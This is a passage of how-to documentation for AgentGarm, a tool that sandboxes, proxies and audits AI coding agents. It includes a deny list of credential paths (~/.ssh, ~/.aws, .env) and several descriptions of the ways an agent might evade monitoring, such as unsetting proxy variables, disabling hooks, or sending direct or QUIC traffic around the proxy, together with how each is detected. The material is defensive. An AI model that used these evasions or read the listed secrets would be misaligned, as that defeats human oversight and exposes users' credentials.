/etc/agentgarm/agents.d # Linux ls "/Library/Application Support/AgentGarm/agents.d" # macOS Restore the shipped default pack, root install on Linux sudo agentgarm policy init default --dir /etc/agentgarm/agents.d --force The default pack's file rules filesystem: # Reads of credentials are denied; .env.example and other templates stay readable. deny: - "~/.ssh" - "~/.aws" - "~/.gnupg" - "~/.config/gcloud" - "~/.azure" - "~/.kube/config" - "~/.netrc" - "~/.git-credentials" - "~/.docker/config.json" - "~/.config/gh/hosts.yml" - "**/.env" - "**/.env.local" - "**/.env.*.local" # Configuration that runs commands outside any sandbox: file tools may not change it. read_only: - "${WORKSPACE}/.git/hooks" # User persistence: shell startup files, git's global configuration and per-user login # services. File tools are refused here; for agents launched through `agentgarm run` each is # also a sandbox write deny, and where an OS file sentinel runs it refuses any process's write. - "~/.bashrc" - "~/.zshrc" - "~/.profile" - "~/.bash_profile" - "~/.zprofile" - "~/.gitconfig" - "~/Library/LaunchAgents" - "~/.config/systemd/user" Checked by the walk: these commands ran as written on a no-root Linux install and a root install on Linux. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 3. Start the agent with agentgarm wrap Run it from your project directory: the workspace becomes writable, so the home directory, / and their ancestors are refused, and a launch from inside another governed task is refused too. agentgarm wrap does what agentgarm run does: it registers a task, checkpoints the workspace, builds the sandbox, proves it with the canary, routes the agent through the proxy and then becomes the agent; any failure refuses the launch. Try it first with a command that exits at once. Wrap a harmless command first agentgarm wrap -- ls Wrap an agent with no hooks agentgarm wrap -- aider Checked by the walk: this command ran as written on a no-root Linux install. 4. Read what it says is not enforced Before the agent starts, agentgarm wrap prints on stderr that “this agent runs without agent hooks”, then what still applies on this platform. On macOS: the sandbox (file access, executables, network only through the proxy), task registration, budgets on proxied model calls and the checkpoint; macOS applies no resource limits to a task. On Linux: the sandbox (file access and executables; outbound TCP only to the proxy's port from Linux 6.7, by port and not by address, and no UDP), task registration and the checkpoint; resource limits only where agentgarmd has a delegated cgroup v2 subtree (the cgroups line of agentgarmd self-check says), and network egress and budgets on model calls are observed only, since the agent can reach the network around the proxy, so both rate C. Not enforced on any platform: argv command rules, per-tool and MCP decisions, and approvals, which need hooks. So the default pack's command rules and asks do not stop the commands a wrapped agent runs, and a session whose policy has them rates C (observed): a session is rated by the weakest class its policy uses. A policy built only on file rules lets a wrapped session that passes its sandbox checks rate B (controlled); on a no-root install, B covers that session only. 5. Know what the sandbox and proxy still do Whatever the policy says, the sandbox denies the credential paths (~/.ssh, ~/.aws, ~/.gnupg, ~/.git-credentials and more) and AgentGarm's own state, and the agent can write only into the workspace and temporary directories. The launcher removes ambient credentials from the environment, and keeps the provider API keys unless the policy strips them. A policy strips them when it sets strip_ambient: true, or when it brokers credentials and does not set strip_ambient: false. The launcher also points the agent at the proxy (ANTHROPIC_BASE_URL, OPENAI_BASE_URL, HTTPS_PROXY), and the proxy counts a model call that names no task against the task of the process that made it. On macOS the sandbox lets TCP reach only the proxy, so a call that ignores these variables fails rather than going unseen; on Linux that rule is best effort, and network and model-call rules rate C. See also Give agents short-lived AWS, GCP and SSH credentialsSeal AWS, GCP and SSH credentials in agentgarmd; each task started with agentgarm run gets short-lived ones, and the sealed ones never reach the agent. 6. Ask for an adapter when you need more Command rules, per-tool and MCP decisions and approvals need the agent's hooks, which only an adapter reads. Adapters are data files describing an agent's hook payloads, so an agent with a hook API can get one without new code; an agent with no hook API cannot, and agentgarm wrap is the most AgentGarm can do for it. To ask for one, write to support@nannertech.com with the agent's name and version. Next guide: Route other model providers through the proxypreviewAll how-to guides # Route other model providers through the proxy URL: https://agentgarm.com/docs/how-to/provider-routes Docs › How-to guides › Route other model providers through the proxy Guide 6 of 61 · Getting started Route other model providers through the proxy Send Gemini, Bedrock, Vertex, Azure, OpenRouter, DeepSeek and local-runtime calls through the proxy, accounted, budgeted and checked for secrets. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Point an agent or an app at the proxy's route for its provider, so its model calls are accounted, priced, held under the task's budget and checked for secrets like Anthropic's and OpenAI's, and know which calls a route passes through unaccounted. On this page 1.Know which routes the proxy serves 2.Point a Gemini app at the gemini route 3.Run Claude Code on Bedrock, Vertex, Foundry or Claude Platform on AWS 4.Point other providers' clients at their routes 5.Account for a local runtime 6.Check the calls arrive 1. Know which routes the proxy serves agentgarm-session's proxy listens on 127.0.0.1:4747 and serves one route per provider endpoint in the provider catalog: /anthropic and /openai; /gemini; /bedrock, /vertex, /foundry and /claude-platform-aws for Claude on the clouds; /azure-openai; /openrouter; /deepseek, /deepseek-anthropic and their -cny twins; /dashscope and /dashscope-anthropic; /volcengine and /volcengine-anthropic; and /local-ollama, /local-vllm, /local-lm-studio and /local-llama-cpp. Any other prefix gets 404. On every route the proxy refuses subscription logins, checks prompts for secrets, holds each accounted call under the task's budget and prices it from the catalog. A call that names no task is counted against the task of the process that made it. A direct connection to a provider's API host from a governed task is refused, and the proxy answers a WebSocket upgrade with 426, so an agent falls back to HTTPS. See also See what each task costRoute an agent's model calls through AgentGarm so each one is counted and priced, and read the spend by provider and model. 2. Point a Gemini app at the gemini route agentgarm run and agentgarm wrap always set GOOGLE_GEMINI_BASE_URL to the /gemini route, beside ANTHROPIC_BASE_URL and OPENAI_BASE_URL. Both Google GenAI SDKs read it, so an app built on them needs no change. An OpenAI SDK reaches Gemini through http://127.0.0.1:4747/gemini/v1beta/openai/, set in its own configuration; your key passes through to Google and is never logged. generateContent, streamGenerateContent and the OpenAI-compatible chat completions are accounted and held. Token counting, embeddings, batches, files and explicit caches pass through unaccounted, and Live, which needs a WebSocket, is refused. Run a Gemini app inside the sandbox and proxy agentgarm wrap -- python3 app.py See also Govern an agent with no hooksRun an agent AgentGarm has no hook adapter for inside the same sandbox and proxy, and know which of your policy's rules that leaves unenforced. 3. Run Claude Code on Bedrock, Vertex, Foundry or Claude Platform on AWS --route selects a cloud route: agentgarm run sets its base URL and Claude Code's switch (CLAUDE_CODE_USE_BEDROCK, _VERTEX, _FOUNDRY or _ANTHROPIC_AWS) for the launch only. Do not export the switch yourself: an exported routing variable is still replaced inside the launch, but it is reported as a user off-switch and rates the task C. An unknown route refuses the launch. Foundry and Claude Platform on AWS have no upstream until agentgarm-session is started with --upstream foundry=https://.services.ai.azure.com/anthropic or --upstream claude-platform-aws=https://aws-external-anthropic..api.aws, and Bedrock's names its region the same way. On the AWS routes the agent sends its calls unsigned and the session signs them with temporary credentials: the task's brokered ones, or what the session's --aws-credential-export command returns; a long-term access key is refused. On Vertex the sandbox hides ~/.config/gcloud, so export a short-lived access token for the launch. Claude Code on Amazon Bedrock agentgarm run --route bedrock -- claude Claude Code on Vertex AI, with a short-lived token ANTHROPIC_AUTH_TOKEN=$(gcloud auth print-access-token) CLAUDE_CODE_SKIP_VERTEX_AUTH=1 \ agentgarm run --route vertex -- claude See also Give agents short-lived AWS, GCP and SSH credentialsSeal AWS, GCP and SSH credentials in agentgarmd; each task started with agentgarm run gets short-lived ones, and the sealed ones never reach the agent. 4. Point other providers' clients at their routes Azure OpenAI, OpenRouter, DeepSeek, DashScope and Volcengine Ark get no variable of their own: their vendors document only OPENAI_BASE_URL and ANTHROPIC_BASE_URL, which the first-party routes own. Set the route in the agent's own configuration instead, such as http://127.0.0.1:4747/openrouter/v1 for an OpenAI SDK, or http://127.0.0.1:4747/azure-openai as Codex's Azure base_url. Azure OpenAI needs --upstream azure-openai=https://.openai.azure.com/openai on the session. A base URL you exported that names DeepSeek, Volcengine Ark, or an Azure or Foundry resource the session serves is pointed at that provider's route rather than replaced, and one naming a resource the session does not serve refuses the launch, so your key is never sent to another vendor. Like any exported routing variable, it is reported as a user off-switch. The -cny and Volcengine routes bill in yuan: under a cost budget in US dollars their calls are refused, not converted. See also Set spend budgets and stop runaway loopsGive each agent task a cost budget and a token rate, see what the agent meets at the cap, and stop loops and runaway subagents with limits of their own. 5. Account for a local runtime Ollama, vLLM, LM Studio and llama.cpp each have a route to their usual port on loopback. Point the agent at the route, http://127.0.0.1:4747/local-ollama/v1 for Ollama. An exported OPENAI_BASE_URL naming the runtime on its usual port is repointed to its route too, and reported as an off-switch like any other. Inside the sandbox loopback is reachable only through the proxy, so the agent's local calls cannot go around it. Local calls are counted by tokens and priced at zero. Only chat completions, responses and the model list are forwarded: the runtime's own API (pulling, deleting or loading a model) is refused. A runtime on another port is served with --upstream local-ollama=http://127.0.0.1: on the session; an upstream off loopback is refused, because the route is priced at zero. See also Keep agent versions in checkList your installed agents against the versions AgentGarm verified their hooks for, and bring an agent that updated past that range back in range. 6. Check the calls arrive Open the dashboard with agentgarm ui: Spend lists each call by provider and model, and the task's run shows the model calls it made. A call the catalog cannot price is listed apart as unpriced, and amounts in different currencies are never added. agentgarm status shows each task's assurance level, which reads C after an off-switch was reported. Open the dashboard and check the task's level agentgarm ui agentgarm status See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. Next guide: Check that protection is onAll how-to guides # Check that protection is on URL: https://agentgarm.com/docs/how-to/check-protection Docs › How-to guides › Check that protection is on Guide 7 of 61 · Getting started Check that protection is on See whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. See whether AgentGarm's services are up, what assurance level each running agent session has and why, what a bypass alert means and what to do about it, and let doctor check the rest. On this page 1.Check the services 2.Read each session's assurance level 3.Open the assurance panel 4.Act on a bypass alert 5.Run doctor 1. Check the services agentgarm status is read-only and always exits 0, so read what it says. Its first lines name agentgarmd (root or no-root mode, and its socket) and agentgarm-session with its proxy address; a proxy marked “NOT answering” means no agent can be launched, since agentgarm run refuses to start one without the proxy; agentgarm doctor then says to restart agentgarm-session. A session “NOT RECOGNISED by agentgarmd” is not counted as AgentGarm's: its budget holds fail open and its events are dropped. Under it, “console call(s) from inside a task” counts the console calls the session refused (the local UI, and an on-demand inventory sweep): to a process inside a governed task, to a caller whose process it could not identify, and to one agentgarmd could not place inside or outside a task, which includes your own agentgarm ui while agentgarmd was down or not answering. The probe agentgarm run makes at each launch to prove that refusal is not counted. A number above 0 most often means an agent tried to reach the console; if agentgarmd was unavailable at the time, it may be your own calls. The self-check line counts the gaps this host had at start, and the policy lines show each policy file in force, skipped or rejected. On an enrolled machine, a kill order in force comes first preview: LOCKDOWN, “this machine is locked down: no governed agent starts or acts”, or a kill order line, with the order, who approved it and why (what it means for you). agentgarm doctor does not report orders. Check status agentgarm status Checked by the walk: this command ran as written on a no-root Linux install. 2. Read each session's assurance level Start the agent with agentgarm run and run agentgarm status from another terminal: each live task has a task line with its level, and under it every class its policy uses (commands, files, network, model calls, approvals and the rest) with the layer that enforces it. A new task shows “C (assessing)” until agentgarmd sees its sandbox, within seconds. When agentgarmd sees that a task's processes have all exited, its line says “ENDED” (“ENDED while assessing” if its level never settled) until agentgarmd drops it at its next check, every 5 seconds; “ROOT EXITED” means processes the task started still run. “SUSPENDED” preview means the task is stopped, with one line for each hold that keeps it so, such as airbag or sensitive_frontmost (what lifts each), a budget's breach or a kill order's order: (every kind of hold). The coverage blocks that follow cover only the agents found installed, seen in a task or given a policy; --all lists every adapter. A, enforced, needs an OS sentinel that makes launching through AgentGarm unavoidable; the sentinels are built but not yet claimed, so this release rates nothing A. B, controlled, is the sandbox of a launch through agentgarm run or agentgarm wrap, which you could have skipped. C, observed, is detection and accounting only; every agent's hooks are C today (coverage). A session is rated by the weakest class its policy uses, so command rules, which only hooks can judge, make most sessions C today while their files are B wherever the sandbox's containment check passes. How the levels are set. See also Govern an agent with no hooksRun an agent AgentGarm has no hook adapter for inside the same sandbox and proxy, and know which of your policy's rules that leaves unenforced. 3. Open the assurance panel agentgarm ui prints the dashboard's address, with a launch code that works once; --open opens it in your browser. The Overview lists each live task with its assurance level (selecting a task says why it is not higher) and the newest alerts beside it; its Alerts screen lists them all: bypass, assurance lowered, DLP, policy-source conflict, checkpoints and budget. An unknown level is shown as C. Print the dashboard's address agentgarm ui Open the dashboard agentgarm ui --open Checked by the walk: this command ran as written on a no-root Linux install. The dashboard's Overview: a status line, four tiles, then what was denied and the newest alerts beside the tasks running now and their assurance level 4. Act on a bypass alert agentgarmd checks every live task every 2 seconds. A bypass alert lowers its task to C for the rest of the task's life, and agentgarm status shows why on its lowered: line; fixing the cause does not raise it again, so fix it and start a new task. User off-switch: a model routing variable you exported, such as ANTHROPIC_BASE_URL in a shell Claude Code started, or the agent's hooks switched off in its settings (Claude Code's disableAllHooks: true, Codex's [features] hooks = false). Unset the variable for the launch, or remove the setting. QUIC or UDP to port 443, and direct connections to a model provider's address: traffic the proxy cannot see. Inside agentgarm run the sandbox stops both on macOS; on Linux it stops QUIC but limits TCP only by port, and only from Linux 6.7, so a direct connection is still possible there and network rules rate C. The alert matters most for an agent started outside it, so start the agent through the launcher. Some providers share CDN addresses with other sites, so check the destination before calling a direct connection a bypass. Launch without an exported base URL env -u ANTHROPIC_BASE_URL agentgarm run -- claude Checked by the walk: this command ran as written on a no-root Linux install. 5. Run doctor agentgarm doctor checks agentgarmd, agentgarm-session and the proxy, that agentgarmd recognises the session, the sandbox backend (Seatbelt on macOS, Landlock among the active security modules on Linux), presence, git for checkpoints, the catalog and agent versions, the system files AgentGarm writes for Factory Droid, Gemini CLI and OpenCode preview, on a Mac the computer-use airbag when one is linked or a computer-use task expects one preview (it fails when the airbag is not live or lacks Accessibility, with the System Settings link), and that you are not running it as root. On a no-root install, which writes none of those files, their failures are shown as warnings. Each problem comes with what to do about it. It exits 1 when a check fails; a warning exits 0. The sandbox check is a precondition only: the canary still decides at every launch. Run doctor agentgarm doctor Run doctor, as JSON agentgarm doctor --json Checked by the walk: these commands ran as written on a no-root Linux install. Next guide: Turn on the macOS sentinelspreviewAll how-to guides # Turn on the macOS sentinels URL: https://agentgarm.com/docs/how-to/macos-sentinels Docs › How-to guides › Turn on the macOS sentinels Guide 8 of 61 · Getting started Turn on the macOS sentinels Activate AgentGarm's Endpoint Security and Network Extension on a Mac, approve them by MDM or by hand, and check that they hold the agent's processes. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Activate AgentGarm's two system extensions on a Mac with a root install: the Endpoint Security sentinel, which checks every program and protected file an agent's processes reach and keeps them from stopping AgentGarm, and the Network Extension, which sends the agent's traffic through AgentGarm's proxy even when the agent unsets its proxy settings. Approve them by MDM or in System Settings, check that they are connected, and choose what happens to agents while they are down. On this page 1.Know what the sentinels add, and what is still pending 2.Install the macOS package and the service 3.Approve the extensions and Full Disk Access 4.Check that the sentinels are connected 5.Choose what happens while a sentinel is down 6.Know what you see when a sentinel acts 1. Know what the sentinels add, and what is still pending The Endpoint Security sentinel, agentgarm-es, runs as root inside a system extension. For every process of a governed task, including ones the agent starts outside its hooks and sandbox, it answers each program start against the task's command rules on the full argument list, each file open against its file rules, and refuses signals that would stop agentgarmd, agentgarm-session or the sentinel itself. It also records the files a shell command creates, writes, renames or deletes, so they reach the task's change list. The Network Extension redirects the task's TCP flows to AgentGarm's proxy and refuses its UDP unless the policy lists the destination; traffic from processes outside governed tasks passes untouched. Both are built, not yet claimed. With the sentinel, commands and files can rate A and the network B; until the gate is recorded this release rates nothing A. The Network Extension needs nothing from Apple beyond AgentGarm's Developer ID. Endpoint Security needs an entitlement only Apple grants, and AgentGarm has not received it yet, so on a release build the sentinel reports that it is not entitled and stays off. Until the grant, it runs only in a development build on a dedicated virtual machine with System Integrity Protection off; never turn that off on a Mac that matters. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 2. Install the macOS package and the service The sentinels need the root install from the signed .pkg (install on macOS): it places /Applications/AgentGarm.app, which carries both extensions, com.agentgarm.AgentGarm.EndpointSecurity and com.agentgarm.AgentGarm.NetworkExtension. macOS runs a system extension only from an app in /Applications, so leave the app where the package puts it. A no-root install has no sentinel. Start the service with sudo agentgarmd install. It also asks macOS to load both extensions and prints what macOS answered for each, then the self-check; on a Mac without the profiles below, macOS answers that the extensions wait for your approval. Install and start agentgarmd, root install sudo agentgarmd install 3. Approve the extensions and Full Disk Access On a Mac your organisation manages, deploy AgentGarm's three configuration profiles: agentgarm-system-extensions.mobileconfig allows both extensions for AgentGarm's Apple team without a prompt and stops the user from turning them off; agentgarm-pppc-fda.mobileconfig grants Full Disk Access to the Endpoint Security extension and to /usr/local/bin/agentgarmd, pinned to AgentGarm's Developer ID; and agentgarm-transparent-proxy.mobileconfig configures the transparent proxy for AgentGarm's signed provider only. The profiles approve the extensions in advance; macOS still loads them only when AgentGarm asks, which sudo agentgarmd install does, so a managed Mac needs no extra step once the profiles are there. If the profiles arrived after the install, run /Applications/AgentGarm.app/Contents/MacOS/AgentGarm activate-sysext to ask again. On a Mac without MDM, approve both extensions in System Settings, General, Login Items & Extensions, and give the Endpoint Security extension Full Disk Access in Privacy & Security, Full Disk Access. Without the profiles the Mac counts as degraded until you have done both. The same app's sysext-status says whether each extension is missing, staged, waiting for you, or enabled, with the setting that fixes it. See also Deploy AgentGarm with MDMRoll AgentGarm out to managed Macs, Linux machines and Windows PCs: the packages, the services, the macOS approvals and the browser extension. 4. Check that the sentinels are connected agentgarm status prints a sentinel line for each extension that has reported to agentgarmd: sentinel endpoint_security [ok] and sentinel network_extension [ok] when both are connected. For the Endpoint Security extension, [FAIL] comes with the cause and the System Settings page that fixes it: the entitlement missing or the extension not approved, Full Disk Access not granted, or the client not connected; for the Network Extension it says to approve the extension or restart it. [WARN] means it is connected but missed deadlines or lost events. The Endpoint Security sentinel probes its own access again every 10 minutes and after the Mac wakes, so a Full Disk Access grant or MDM profile removed later shows here too. See the sentinel lines agentgarm status 5. Choose what happens while a sentinel is down The sentinel section of the host policy, default.yaml, decides it. With on_unavailable: alert, the default, agents still start, and any task that runs while a sentinel is disconnected or unhealthy is demoted to C for the rest of its life, with a host-wide alert; a sentinel that comes back does not raise it again. With on_unavailable: deny, agentgarmd refuses to start an enforce-mode task until every required sentinel is connected and healthy, and records the refusal; an unreadable default.yaml counts as deny. on_deadline_miss: fail_closed denies a governed process's request the sentinel could not answer in time, while other processes are allowed, and tamper_protection keeps the protection below on. agentgarmd reads the policy when it starts, so restart it after an edit. The host policy's sentinel section sentinel: on_unavailable: alert on_deadline_miss: fail_closed deadline_headroom_ms: 250 tamper_protection: true Restart agentgarmd so it reads the policy sudo launchctl kickstart -k system/com.agentgarm.agentgarmd 6. Know what you see when a sentinel acts Launch the agent with agentgarm run, so the sentinel knows the task's processes from the first one. When a command or file rule denies, the program does not start or the file does not open, and the agent's process sees the call fail as not permitted. The deny is recorded in the audit log as the OS sentinel's. A process of the task that writes AgentGarm's state or policies, an agent's managed settings or hook files, such as .claude/settings.json or .cursor/hooks.json, or signals one of AgentGarm's processes is refused in audit mode too, and the dashboard shows a tamper alert. The sentinel answers from the last policy it received, so it keeps refusing with agentgarmd stopped. Losing its entitlement, Full Disk Access or connection, or the Network Extension falling behind, demotes every running task to C at once, with an alert naming the cause. While the Network Extension runs, a task's traffic reaches the proxy even when the agent unsets HTTPS_PROXY; stopping agentgarm-session then blocks that traffic rather than letting it out, and QUIC is always refused. Launch Claude Code under the sentinels agentgarm run -- claude See also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. Next guide: Get told when an agent is denied or askspreviewAll how-to guides # Get told when an agent is denied or asks URL: https://agentgarm.com/docs/how-to/notifications Docs › How-to guides › Get told when an agent is denied or asks Guide 9 of 61 · Getting started Get told when an agent is denied or asks Follow each denial, approval ask and alert as it happens: in a terminal, as desktop notifications, or through your own Linux notifier. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Follow AgentGarm's notices as they happen: one line for each denial, approval ask and alert, in a terminal, as macOS notifications from the menu bar, as Windows tray balloons or through your own Linux notifier, with the details one click away in the dashboard. On this page 1.Follow notices in a terminal 2.Read what each notice means 3.See notices in the macOS menu bar 4.See notices in the Windows tray 5.Send notices to your Linux desktop 6.Open the dashboard for the details 1. Follow notices in a terminal agentgarm notices follows agentgarmd from now on and prints one line per notice, the title and then the body; nothing from before it started arrives as news. When the connection drops it reconnects, waiting 1, 2, 5, 10 and then 30 seconds between tries, and resumes where it stopped. It runs until its output closes, so stop it with Ctrl-C. --json prints each notice as an object with kind, title and body, for a program of your own. Follow notices agentgarm notices Follow notices as JSON agentgarm notices --json 2. Read what each notice means There are three kinds. A deny is titled “AgentGarm denied an action” and an ask “AgentGarm asks for your approval”; the body names the kind of action (a command, a file access, a network connection, a tool call, an MCP call or a model call), the agent and the rule that decided it, or “the default action” when no rule did. An ask waits for you in the agent's own prompt or, with a presence key enrolled, in agentgarm presence watch; on a root Linux install with no key enrolled, agentgarm presence watch --method polkit answers it with your polkit password instead (rated C, not presence). An alert is titled with what happened: “A bypass attempt was detected”, “Enforcement is degraded”, “Sensitive data was found”, “Policies conflict”, “A task could not be attributed”, “A budget threshold was reached”, “An agent's configuration needs attention”, “A credential was refused” or “Tampering was blocked”; its body says to open the dashboard for details. An allow is never a notice, nor is a checkpoint, and in audit mode what the rules would deny or ask is let through, so it raises none. A task being suspended, or the machine being locked down by a kill order, raises no notice of its own yet: you see it when a governed agent stops or will not start, and agentgarm status says why (Find out why your agent stopped). A notice never contains the command, a path or any text the agent sent, because a notification centre keeps what it is shown. See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 3. See notices in the macOS menu bar AgentGarm's presence menu (agentgarm-presence menubar) follows the notices while it runs, starting the follower again 5 seconds after it ends. It lists the five newest under Recent, with the body as each item's tooltip, and posts each as a system notification when the menu runs from an app bundle; run as a bare executable, the Recent list is the only place they show. Its Open Dashboard item (⌘D) opens the dashboard, and Quit AgentGarm Presence Menu stops the follower with the menu. AgentGarm's item in the macOS menu bar, its menu open: the key's state, Open Dashboard, the recent notices, Refresh and Quit 4. See notices in the Windows tray The tray has not yet been built and run on a Windows 11 machine, so this is how it is designed to work. agentgarm-agent tray is to add an AgentGarm icon to the notification area, with Open dashboard and Quit, and show each notice as a balloon. Each balloon is to replace the one before it, so at most one would show every 6 seconds, and a backlog of more than three would become one “N new AgentGarm notices” balloon. To start it at logon, put a shortcut to agentgarm-agent tray in your Startup folder. 5. Send notices to your Linux desktop Linux has no AgentGarm tray icon. Feed the notices to your own notifier instead, such as notify-send, from a terminal or a user service of your own: each line becomes one desktop notification. Show each notice with notify-send agentgarm notices | while IFS= read -r line; do notify-send AgentGarm "$line"; done 6. Open the dashboard for the details A notice is a pointer, and the details are in the dashboard: agentgarm ui --open asks the session for a fresh launch code and opens the dashboard in your browser, which is what the menu's and the tray's item does too. Its Overview shows the newest alerts, grouped where the same alert repeats, and, under “Denied or asked”, each refusal or question with its rule id and reason; the Alerts screen lists them all. Open the dashboard agentgarm ui --open The dashboard's Overview: a status line, four tiles, then what was denied and the newest alerts beside the tasks running now and their assurance levelSee also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. Next guide: Run AgentGarm on WindowspreviewAll how-to guides # Run AgentGarm on Windows URL: https://agentgarm.com/docs/how-to/windows Docs › How-to guides › Run AgentGarm on Windows Guide 10 of 61 · Getting started Run AgentGarm on Windows Install the Windows preview, start agents in its Job Object sandbox, use the tray, know what Windows enforces next to macOS and Linux, and remove it. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Install AgentGarm's Windows preview on a Windows 11 PC, start agents through its launcher so a Job Object, a restricted token and the Windows firewall hold them, follow denials from the notification-area icon, and know how Windows differs from macOS and Linux. Everything here is built and checked by builds and tests, but not yet run on a physical Windows 11 PC, and the build is not yet code-signed. On this page 1.Install or upgrade the Windows package 2.Install an agent's hooks and policy 3.Start agents through the launcher 4.Know what Windows enforces, next to macOS and Linux 5.Use the tray and check protection 6.Remove it 1. Install or upgrade the Windows package Take the .msi for your PC's architecture and install it as the Windows install page shows. It installs per machine under C:\Program Files\AgentGarm and runs agentgarmd as the AgentGarm service under SYSTEM, which Windows restarts if it fails; agentgarmd then starts agentgarm-session in each signed-in session for you. State, the audit log and policies live in C:\ProgramData\AgentGarm, which only SYSTEM and administrators can read. To upgrade, install a newer release's package over it. The build is an unsupported preview: it is not code-signed yet, so Smart App Control, where it is on, blocks it and SmartScreen warns before it runs, and every release carrying it is a pre-release. Verify the download first and use it to evaluate AgentGarm, not to rely on. For managed PCs, AgentGarm also packages the MSI for Intune, whose uninstall removes the hooks first, and as winget manifests. Check the install agentgarm doctor 2. Install an agent's hooks and policy From an elevated terminal, agentgarmd hooks install claude-code writes Claude Code's managed settings under C:\Program Files\ClaudeCode\managed-settings.d, and reports a conflict when a registry policy would shadow them; codex, cursor and the other agents take the same command. Put your policies in C:\ProgramData\AgentGarm\agents.d and start in audit mode, as on any other machine; agentgarmd reads them when it starts, so restart the AgentGarm service after an edit. Codex's hooks fail open on Windows as elsewhere, and on Windows they miss some of its patch edits and shell calls. Install and check Claude Code's hooks, in an elevated terminal agentgarmd hooks install claude-code agentgarmd hooks status claude-code See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 3. Start agents through the launcher agentgarm run places the agent in a Job Object that agentgarmd creates, with no way to break away, under a low-integrity, write-restricted token on a private desktop; on Windows 11 24H2 from build 26100.9278 it runs in an AppContainer of its own instead. agentgarmd holds the file guards, and Windows Filtering Platform filters keep the task's network to the local proxy. Every subagent and MCP server the task starts gets a nested Job Object inside the task's, whose memory, process and CPU limits bound the whole tree, and ending the task ends all of it. The launcher checks the sandbox with a canary at every launch and refuses to start the agent when it fails. Run Claude Code governed agentgarm run -- claude 4. Know what Windows enforces, next to macOS and Linux In a launched session on Windows, files, the network, model calls through the proxy and resource limits all rate B, and approvals rate B with a security key enrolled. On macOS resource limits have no layer, and on Linux the network and model calls rate C. Command rules on the full argument list come only from the agent's hooks, rated C until each agent's live run is recorded, and MCP servers rate C. All of it is built, not yet claimed. Nothing rates A on Windows: its sentinel, an ETW trace of process starts, image loads and network connections tied to each task, watches and records but cannot block, so it cannot make launching through AgentGarm unavoidable. If something stops that trace, agentgarmd records it as tampering and starts it again. Some things are only on other platforms for now: the computer-use airbag and the Endpoint Security sentinel are macOS only; Windows Hello stays switched off until its device tests are recorded, so approvals use a security key; agentgarm status does not say whether a Windows task's processes have ended; and a kill order can suspend or end a Windows task but not yet resume one. See also Approve risky actions on WindowsEnrol a security key on a Windows PC and approve each command your policy asks about through Windows' own WebAuthn; Windows Hello itself comes later. 5. Use the tray and check protection agentgarm-agent tray puts the AgentGarm icon in the notification area, with Open dashboard and Quit, and shows a balloon for each denial, approval ask and alert, at most one every 6 seconds; to start it at sign-in, put a shortcut to it in your Startup folder. Without the tray, agentgarm notices prints the same notices in a terminal and agentgarm ui --open opens the dashboard. agentgarm status shows the services, each task's level and why, and agentgarm doctor checks the launcher's Job Object, restricted token, file guard and firewall filters, the agents' managed hook files and your presence key, and warns when run as SYSTEM. Follow notices in a terminal agentgarm notices Open the dashboard agentgarm ui --open See what is running and each task's level agentgarm status See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 6. Remove it From an elevated terminal, run agentgarmd uninstall before removing the package: it takes out every agent hook and MCP configuration it installed, restoring what was there before, and removes the packaged helper registered for Windows Hello. If an install cannot be removed, it fails and names it. Then uninstall the package as the Windows install page shows. Policies, the audit log and the store stay in C:\ProgramData\AgentGarm. Remove the hooks and the service, in an elevated terminal agentgarmd uninstall Next guide: See the AI runtimes and desktop AI apps on a machinepreviewAll how-to guides # See the AI runtimes and desktop AI apps on a machine URL: https://agentgarm.com/docs/how-to/local-runtimes Docs › How-to guides › See the AI runtimes and desktop AI apps on a machine Guide 11 of 61 · Getting started See the AI runtimes and desktop AI apps on a machine List the local model runtimes and desktop AI apps on a machine, see which ones no governed session used, and route local model calls through the proxy. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. See which local model runtimes (Ollama, vLLM, LM Studio, the llama.cpp server) and desktop AI apps are on a machine, which of them no governed session used in the last 24 hours, and how to bring an agent's calls to a local runtime under the proxy. The inventory observes and blocks nothing; on a fleet, Central Lite shows the count for every machine. On this page 1.Know what the inventory looks for 2.List them from the command line 3.See them on the dashboard 4.Read unmanaged and governed 5.Route an agent's local model calls through the proxy 6.Choose whether model ids are recorded 7.See the fleet's count in Central Lite 1. Know what the inventory looks for agentgarm-session looks for local model runtimes 30 seconds after it starts and then every 10 minutes. It sends a plain GET, with no credentials, only to 127.0.0.1 (or ::1) on the ports AgentGarm's catalog lists for Ollama, vLLM, LM Studio and the llama.cpp server, and identifies each by its answer, not by the port alone; it never scans ports. An LM Studio that requires a token is not listed, since its answer without one does not show it is LM Studio. It also looks for the desktop AI apps the catalog lists: ChatGPT, Claude, Cursor, LM Studio, Ollama and Google Antigravity. On macOS it reads each app's Info.plist in /Applications and ~/Applications, with its version and code signature; on Linux it matches the app's .desktop file by name, with no version; on Windows it looks for each app's program under C:\Program Files and %LOCALAPPDATA%\Programs, with its version and signer. Nothing is run or launched, and prompts, model output and browsing data are never read. 2. List them from the command line agentgarm status has an unmanaged AI line: how many runtimes and apps were seen in the last 24 hours that no governed session used, and how many were used by one. Add --inventory to sweep now and list each one: a runtime with its address, port, version and the program listening on it, an app with its path and code signature, and its state, UNMANAGED or governed. --json has every entry under inventory. The sweep is refused from inside a governed task, runs once a minute at most, and may wait up to two minutes for a periodic sweep to finish first. On a root install agentgarmd names the listening program itself, for every user; on a no-root install it sees only your own. Show the count agentgarm status Sweep now and list each runtime and app agentgarm status --inventory List only the unmanaged runtimes, as JSON agentgarm status --json | jq '.inventory.runtimes[]? | select(.governed | not)' Checked by the walk: this command ran as written on a no-root Linux install. 3. See them on the dashboard The 